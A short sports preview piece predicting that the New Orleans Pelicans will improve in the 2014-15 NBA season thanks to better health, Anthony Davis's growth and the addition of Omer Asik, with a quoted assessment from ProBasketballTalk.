The New Orleans Pelicans finished 14 games under .500 this past year, but the 2014-15 campaign should see them vault above the break-even mark. That is a significant improvement, even though it’s as much a statement about the franchise’s rotten luck a year past as anything else. Jrue Holiday and ryan Anderson missed portions of the season with knee and back injuries, respectively. Eric Gordon and anthony Davis lost time as well. Better fortune on the injury front, along with the huge inclusion of Omer Asik at the middle, should propel the Pelicans as they grow into a team worthy of Davis’ presence. This year marks a developmental landmark for the organization along with The Brow. Though not a championship-caliber team, the Pelicans should move themselves into the postseason dialog: Sean Highkin of ProBasketballTalk writes: Whether they have enough to actually get there is a different conversation, and it is hard to point to one team from last year’s playoff crop that is likely to drop out. But if Davis is as good as he’s going to be and everyone else stays relatively healthy, they have got a chance. The Pelicans are constructing a skyscraper, and it would probably be wise to get in on the ground floor.
